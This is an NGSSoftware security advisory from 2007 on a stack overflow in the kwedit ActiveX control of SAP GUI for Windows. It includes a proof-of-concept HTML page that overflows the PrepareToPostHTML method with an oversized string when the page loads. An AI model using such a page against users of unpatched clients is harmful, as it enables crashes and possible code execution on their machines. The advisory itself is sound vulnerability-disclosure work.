EnjoySAP, the SAP GUI for Windows, suffers from a stack overflow vulnerability.
64f5aa6fc4f12c13f5c5d24b6cdf2e92f8451f609f253bb3d31c002dfc2f0b5a=======
Summary
=======
Name: EnjoySAP, SAP GUI for Windows - Stack Overflow
Release Date: 5 July 2007
Reference: NGS00483
Discover: Mark Litchfield <mark@ngssoftware.com>
Vendor: SAP
Vendor Reference: SECRES-289
Systems Affected: All Versions
Risk: High
Status: Fixed
========
TimeLine
========
Discovered: 4 January 2007
Released: 19 January 2007
Approved: 29 January 2007
Reported: 11 January 2007
Fixed: 18 May 2007
Published:
===========
Description
===========
EnjoySAP, also know as Enjoy is the most popular SAP GUI used today. The
latest version can be obtained from ftp://ftp.sap.com/pub/sapgui/win/
When installing EnjoySAP, in appreciation of its vast size for being a
client (around 500MB), there are an astounding 1102 ActiveX controls
installed.
A relatively brief examinaton of these controls, found a large number of
instances that would terminate EnjoySAP process, there were a number that
could create files on the file system (there unfortunately exists no
ability to inject content into these created files) and a number of
bufferoverruns.
=================
Technical Details
=================
Control - kweditcontrol.kwedit.1 (Marked Safe For Scripting)
Function - PrepareToPostHTML
DLL Path - C:\Program Files\SAP\FrontEnd\SapGui\kwedit.dll
POC:
<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT type=text/javascript>
function init()
{
var foo = "";
for(var icount = 0; icount < 1060; icount++)
{
foo = foo + "x";
}
var ngssoftware;
ngssoftware = new ActiveXObject("kweditcontrol.kwedit.1");
ngssoftware["PrepareToPostHTML"](foo);
}
//-->
</SCRIPT>
</HEAD>
<BODY bgColor=#ffffff onload=init()>
</BODY></HTML>
===============
Fix Information
===============
Please enrue you are running the latest version
NGSSoftware Insight Security Research
https://www.ngssoftware.com/
https://www.databasesecurity.com/
https://www.nextgenss.com/
+44(0)208 401 0070
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